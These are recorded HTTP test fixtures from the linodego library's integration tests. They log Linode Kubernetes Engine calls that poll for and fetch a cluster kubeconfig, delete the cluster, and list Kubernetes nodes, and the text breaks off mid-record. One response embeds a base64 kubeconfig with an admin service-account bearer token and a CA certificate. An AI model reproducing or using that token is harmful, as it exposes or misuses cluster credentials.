- Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162/kubeconfig method: GET response: body: '{"kubeconfig": "CmFwaVZlcnNpb246IHYxCmtpbmQ6IENvbmZpZwpwcmVmZXJlbmNlczoge30KCmNsdXN0ZXJzOgotIGNsdXN0ZXI6CiAgICBjZXJ0aWZpY2F0ZS1hdXRob3JpdHktZGF0YTogTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVTXZha05EUVdWaFowRjNTVUpCWjBsQ1FVUkJUa0puYTNGb2EybEhPWGN3UWtGUmMwWkJSRUZXVFZKTmQwVlJXVVJXVVZGRVJYZHdjbVJYU213S1kyMDFiR1JIVm5wTlFqUllSRlJKZVUxVVFYaE5la1V5VFVSbmVrMUdiMWhFVkUxNVRWUkJlRTFFUlRKTlJHZDZUVVp2ZDBaVVJWUk5Ra1ZIUVRGVlJRcEJlRTFMWVROV2FWcFlTblZhV0ZKc1kzcERRMEZUU1hkRVVWbEtTMjlhU1doMlkwNUJVVVZDUWxGQlJHZG5SVkJCUkVORFFWRnZRMmRuUlVKQlRuVm1Da1JXZVRaQmNsUTFXbnA0VDB4UFRtbENVVEZRUVRZMlRqaEVVbGRyU2t0cVUwZEVhRUZ1VkVoc2VXWm5RMmd6TW1SbGRrOWhjMjVUVldKc1QxZzNlVThLVTFWTFYzQjBVRVl4VUZsNmEwUnZWakZwT1U1YU5FMTFNRW8yV1RsbFYyRTBkMjF4VDJSdlF6aFVaMlV5YlVKVVVHSmhZM0ZyUWxoV2RuQk5SaTlMWXdvM1dXMUpOMUZwWjNaaWFtSmFkWFI1UVdjNU5WZzVZazlaT0VWVGVXOXlUMGxzVUdkemVsTkJUbHBrYzNKU1dITjNiVGQ1UjFKR1pHcGllVmRyZG1wQkNqRkhURzF6VldkeWVERjJTM1ZsWkRaSlNrUlVia1ZUUVhkWE5IbFJXa1JCZGxwb1oxYzBZU3RaTkRoUldtMURjblZYT1doQ1RIcEdhV0pIYVZWWWExY0tTWFo0YmpKSGVIZzNSRWx2Y0dkck5HOWpTMFJMYUVad2FEbFRSRlZ5YzBoNFJVWTRSR1pwWVdwYVZEbE1ORUo1WjJ4VlpGWjRjVklyVjJWdFVFSk1kUXBPVFVWSllVRkRWazlRTUVwaGRVTXhaQzlqUTBGM1JVRkJZVTVhVFVaamQwUm5XVVJXVWpCUVFWRklMMEpCVVVSQlowdHJUVUU0UjBFeFZXUkZkMFZDQ2k5M1VVWk5RVTFDUVdZNGQwaFJXVVJXVWpCUFFrSlpSVVpOVVVFeVdsRXJSRVJwYTNkWWIwZDNiVkpqTkN0b1R6UllSM0pOUWxWSFFURlZaRVZSVVU4S1RVRjVRME50ZERGWmJWWjVZbTFXTUZwWVRYZEVVVmxLUzI5YVNXaDJZMDVCVVVWTVFsRkJSR2RuUlVKQlRHZHpaekpzU25ac2VqTnlZalUyT0ZsRUt3cFBkVlpKU0ZkV1IxTmhjemhRY1RWbWVVOHpSMGRIWWtreVpFTk1NQ3RQUVV4eGFWbExRWHBhYlZWeFRVVk9Talp2VVdselVYVkhWWG9yTjFKYVlsQnpDbE5IUW14T01ERnJVMGRzUXk5TmNVbENXR2hyY25WdWJsVkpXVGxWVmtKTVREaEtVRWhEUlhkd2J6RkVURGhqVjFSSU4xVlRVQzlqWjI5bGRIaFZjVm9LYjNGSVRUTlljRmhxY3prNWVVZFhTRzlEYjI1cVVrTmhiMFkzV1M4MlFVRnhkbWRXUkZwM2JUWlRSM1EyYm1odmNFcEVPVkJEVUZkMVppOTRkbU12UWdwRmJXTlVXVkpyU3pSTFJuVmFiVlZZZUZGbGVIUXljMGg2VmtWTGNIRnlWM05hVTNaeVkwZDRkbU4zVTA0MWF6WnNjRUZ3VjNSUFJ6a3dZMWxIY2s1eENtUm5URzExV1ZFMWNtOXVjbTl6VlVGaGRDOVpOR2QwVW5KQ01sUkhUMW81Y0VoNU9XNURNamxIVjJKclkwNWtLMmwwVkRKM2NWaGtaMEpTZWtOWmNuQUtjRW93UFFvdExTMHRMVVZPUkNCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2c9PQogICAgc2VydmVyOiBodHRwczovLzE0NmQwZTI3LWNjM2YtNGMwOS1hNTBjLWExYjEzOGZhMDQzYi5hcC13ZXN0LTIubGlub2RlbGtlLm5ldDo0NDMKICBuYW1lOiBsa2U3NjE2MgoKdXNlcnM6Ci0gbmFtZTogbGtlNzYxNjItYWRtaW4KICB1c2VyOgogICAgYXMtdXNlci1leHRyYToge30KICAgIHRva2VuOiBleUpoYkdjaU9pSlNVekkxTmlJc0ltdHBaQ0k2SWpBM1ZWWXdYMVpUUVRFeVZtdE5OQzFZVW1aa0xWUnRMVlI1WlRWNlZqTXdTV1pqTTBJMGFVMTROVVVpZlEuZXlKcGMzTWlPaUpyZFdKbGNtNWxkR1Z6TDNObGNuWnBZMlZoWTJOdmRXNTBJaXdpYTNWaVpYSnVaWFJsY3k1cGJ5OXpaWEoyYVdObFlXTmpiM1Z1ZEM5dVlXMWxjM0JoWTJVaU9pSnJkV0psTFhONWMzUmxiU0lzSW10MVltVnlibVYwWlhNdWFXOHZjMlZ5ZG1salpXRmpZMjkxYm5RdmMyVmpjbVYwTG01aGJXVWlPaUpzYTJVdFlXUnRhVzR0ZEc5clpXNHRPVGxvYlRraUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNXVZVzFsSWpvaWJHdGxMV0ZrYldsdUlpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU5EVmhNak5oTkRndFpHVTFPQzAwWVdFMkxUbGpZVE10TXpabU9URXlOakV5WldFeElpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbXQxWW1VdGMzbHpkR1Z0T214clpTMWhaRzFwYmlKOS5DcDcxZlRCTlRVTUJOY2RINFk0RmtaZ2RRUV83dWktNlp2T2hYSU5KeWota3Jmb3VMZVNUdnl6d1ZTdDNTQlB3NmJYMmVrRVlWamRwb251TUREMnFyNmM4eTR6VWpkclpzdzR2TGd0WWJob1djN1V2YURlLWpMUjRhZ1p3RWlFem90ZDRNVVZEb1hfWEpVb2pTUV8yRWM4MTdlbktJSHVQMjFGdzloblpsNWUtY01HSUlBVTVqMzAxZ1B6cjFFVXJaSXVCTjJZRU1oNFVRcmlObVVtYTRRaFFzTDVlT1RlZG82SVBNa3o1MGdxc201STVZdFhReU1JTFQ4bjlpR3FWeFlZM0hqbENVRWVjSFdTNHVaVUhZc1B2OE1fVXdOSlBWdC1qcGVLYXdTNmMtMFBaX2w0Wm5ITHJibXBaTzktejQ5QzJmSW1vX0JFTmpEQ2N2T2FkT0EKCmNvbnRleHRzOgotIGNvbnRleHQ6CiAgICBjbHVzdGVyOiBsa2U3NjE2MgogICAgbmFtZXNwYWNlOiBkZWZhdWx0CiAgICB1c2VyOiBsa2U3NjE2Mi1hZG1pbgogIG5hbWU6IGxrZTc2MTYyLWN0eAoKY3VycmVudC1jb250ZXh0OiBsa2U3NjE2Mi1jdHgK"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76162 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestLKECluster_WaitForReady_Cluster.yaml000066400000000000000000001152751455402072200343310ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json, */* url: https://146d0e27-cc3f-4c09-a50c-a1b138fa043b.ap-west-2.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"530"},"items":[]} headers: Audit-Id: - 9fe3b0b9-6be8-4bc5-8fb5-a5de89ad0ad2 Cache-Control: - no-cache, private Content-Length: - "86" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - 89083a2b-4ffe-48eb-ba1a-e2ca012cadd7 X-Kubernetes-Pf-Prioritylevel-Uid: - 3833eb11-2ae9-4b3a-991a-57858f5ff927 status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* url: https://146d0e27-cc3f-4c09-a50c-a1b138fa043b.ap-west-2.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"537"},"items":[]} headers: Audit-Id: - bd644c7a-ec95-4b9e-a395-a36236651512 Cache-Control: - no-cache, private Content-Length: - "86" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - 89083a2b-4ffe-48eb-ba1a-e2ca012cadd7 X-Kubernetes-Pf-Prioritylevel-Uid: - 3833eb11-2ae9-4b3a-991a-57858f5ff927 status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* url: https://146d0e27-cc3f-4c09-a50c-a1b138fa043b.ap-west-2.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"602"},"items":[{"metadata":{"name":"lke76162-118349-634837eff28c","uid":"887829d5-ff94-4545-b16e-4860be6648b3","resourceVersion":"598","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837eff28c","kubernetes.io/os":"linux","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.0.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:allocatable":{"f:ephemeral-storage":{}},"f:capacity":{"f:ephemeral-storage":{}},"f:conditions":{"k:{\"type\":\"Ready\"}":{"f:message":{}}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.0.0/24","podCIDRs":["10.2.0.0/24"],"providerID":"linode://39523013","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028096Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925696Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: network plugin is not ready: cni config uninitialized"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837eff28c"},{"type":"ExternalIP","address":"172.105.62.27"},{"type":"InternalIP","address":"192.168.141.86"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"53a924549f02403785267878854d7b25","systemUUID":"53a924549f02403785267878854d7b25","bootID":"0fb3be06-012f-4937-bb32-588a29856d58","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"}}}]} headers: Audit-Id: - c2e927b3-b829-4d55-bb47-1d1c74de2e5e Cache-Control: - no-cache, private Content-Length: - "4086" Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - 89083a2b-4ffe-48eb-ba1a-e2ca012cadd7 X-Kubernetes-Pf-Prioritylevel-Uid: - 3833eb11-2ae9-4b3a-991a-57858f5ff927 status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* url: https://146d0e27-cc3f-4c09-a50c-a1b138fa043b.ap-west-2.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"775"},"items":[{"metadata":{"name":"lke76162-118349-634837ef23d0","uid":"20218a65-f9a4-44bc-bc05-0aae618c89cd","resourceVersion":"715","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837ef23d0","kubernetes.io/os":"linux","lke.linode.com/pool-id":"118349","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"/var/run/dockershim.sock","lke.linode.com/wgip":"172.31.1.1","lke.linode.com/wgpub":"wjTMSXXXIVbzlfmnMdhF1lbgaHZ8eiYpcxICdT3pdBk=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.1.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{},"f:message":{}}}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.1.0/24","podCIDRs":["10.2.1.0/24"],"providerID":"linode://39523012","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028104Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925704Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: network plugin is not ready: cni config uninitialized"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837ef23d0"},{"type":"ExternalIP","address":"172.105.62.26"},{"type":"InternalIP","address":"192.168.142.88"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"b4affd53550b4f58b071cfdcc43e6a93","systemUUID":"b4affd53550b4f58b071cfdcc43e6a93","bootID":"f8b50fb1-3649-4dbc-8424-70e68d756f29","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"}}},{"metadata":{"name":"lke76162-118349-634837eff28c","uid":"887829d5-ff94-4545-b16e-4860be6648b3","resourceVersion":"770","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837eff28c","kubernetes.io/os":"linux","lke.linode.com/pool-id":"118349","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"/var/run/dockershim.sock","lke.linode.com/wgip":"172.31.0.1","lke.linode.com/wgpub":"Lc1h/w/fV6FbHBVHmEHM9EZyK+F0ojXS27IbdYvRMic=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.0.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:allocatable":{"f:ephemeral-storage":{}},"f:capacity":{"f:ephemeral-storage":{}},"f:conditions":{"k:{\"type\":\"Ready\"}":{"f:message":{}}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{}}}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.0.0/24","podCIDRs":["10.2.0.0/24"],"providerID":"linode://39523013","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028096Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925696Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: network plugin is not ready: cni config uninitialized"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837eff28c"},{"type":"ExternalIP","address":"172.105.62.27"},{"type":"InternalIP","address":"192.168.141.86"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"53a924549f02403785267878854d7b25","systemUUID":"53a924549f02403785267878854d7b25","bootID":"0fb3be06-012f-4937-bb32-588a29856d58","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"}}},{"metadata":{"name":"lke76162-118349-634837f0bf12","uid":"e7294b6e-3907-4d37-b24e-883770914ab0","resourceVersion":"772","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837f0bf12","kubernetes.io/os":"linux","lke.linode.com/pool-id":"118349","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"/var/run/dockershim.sock","lke.linode.com/wgip":"172.31.2.1","lke.linode.com/wgpub":"1/okeF6mP/ZRYdFD28nLjRlyWbKMJ1aiAnaWq1g4MQU=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.2.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-0